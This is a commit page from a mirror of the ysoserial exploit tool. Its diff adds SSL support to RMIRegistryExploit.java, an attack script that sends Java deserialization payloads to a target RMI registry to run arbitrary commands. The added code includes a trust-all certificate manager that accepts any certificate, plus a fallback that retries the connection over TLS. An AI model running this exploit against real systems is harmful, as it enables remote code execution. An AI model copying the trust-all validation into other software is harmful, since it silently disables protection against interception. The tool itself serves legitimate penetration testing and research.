archive/ysoserial
1
0
Fork 0
mirror of https://github.com/frohoff/ysoserial.git synced 2026-09-26 00:41:52 +08:00
Code Issues Packages Projects Releases Wiki Activity

Add support for exploiting SSL RMI services. (#81)

Browse Source 
* Add support for exploiting SSL RMI services.

* Make PMD happy.
This commit is contained in:
Nicky Bloor
2018-04-23 08:49:47 -07:00
committed by Chris Frohoff
parent e9f112ac50
commit 477ecb8f05
1 changed files with 42 additions and 1 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/main/java/ysoserial/exploit/RMIRegistryExploit.java
+42 -1
View File
@@ -1,9 +1,19 @@
package ysoserial.exploit; package ysoserial.exploit;
import java.io.IOException;
import java.net.Socket;
import java.rmi.ConnectIOException;
import java.rmi.Remote; import java.rmi.Remote;
import java.rmi.registry.LocateRegistry; import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry; import java.rmi.registry.Registry;
import java.rmi.server.RMIClientSocketFactory;
import java.security.cert.X509Certificate;
import java.util.concurrent.Callable; import java.util.concurrent.Callable;
import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLEngine;
import javax.net.ssl.SSLSocketFactory;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509ExtendedTrustManager;
import ysoserial.payloads.CommonsCollections1; import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload;
@@ -20,14 +30,45 @@ import ysoserial.secmgr.ExecCheckingSecurityManager;
*/ */
@SuppressWarnings({"rawtypes", "unchecked"}) @SuppressWarnings({"rawtypes", "unchecked"})
public class RMIRegistryExploit { public class RMIRegistryExploit {
private static class TrustAllSSL extends X509ExtendedTrustManager {
private static final X509Certificate[] ANY_CA = {};
public X509Certificate[] getAcceptedIssuers() { return ANY_CA; }
public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
public void checkServerTrusted(final X509Certificate[] c, final String t, final SSLEngine e) { /* Do nothing/accept all */ }
public void checkServerTrusted(final X509Certificate[] c, final String t, final Socket e) { /* Do nothing/accept all */ }
public void checkClientTrusted(final X509Certificate[] c, final String t, final SSLEngine e) { /* Do nothing/accept all */ }
public void checkClientTrusted(final X509Certificate[] c, final String t, final Socket e) { /* Do nothing/accept all */ }
}
private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
public Socket createSocket(String host, int port) throws IOException {
try {
SSLContext ctx = SSLContext.getInstance("TLS");
ctx.init(null, new TrustManager[] {new TrustAllSSL()}, null);
SSLSocketFactory factory = ctx.getSocketFactory();
return factory.createSocket(host, port);
} catch(Exception e) {
throw new IOException(e);
}
}
}
public static void main(final String[] args) throws Exception { public static void main(final String[] args) throws Exception {
final String host = args[0]; final String host = args[0];
final int port = Integer.parseInt(args[1]); final int port = Integer.parseInt(args[1]);
final String command = args[3]; final String command = args[3];
final Registry registry = LocateRegistry.getRegistry(host, port); Registry registry = LocateRegistry.getRegistry(host, port);
final String className = CommonsCollections1.class.getPackage().getName() + "." + args[2]; final String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className); final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
// test RMI registry connection and upgrade to SSL connection on fail
try {
registry.list();
} catch(ConnectIOException ex) {
registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
}
// ensure payload doesn't detonate during construction or deserialization // ensure payload doesn't detonate during construction or deserialization
exploit(registry, payloadClass, command); exploit(registry, payloadClass, command);
} }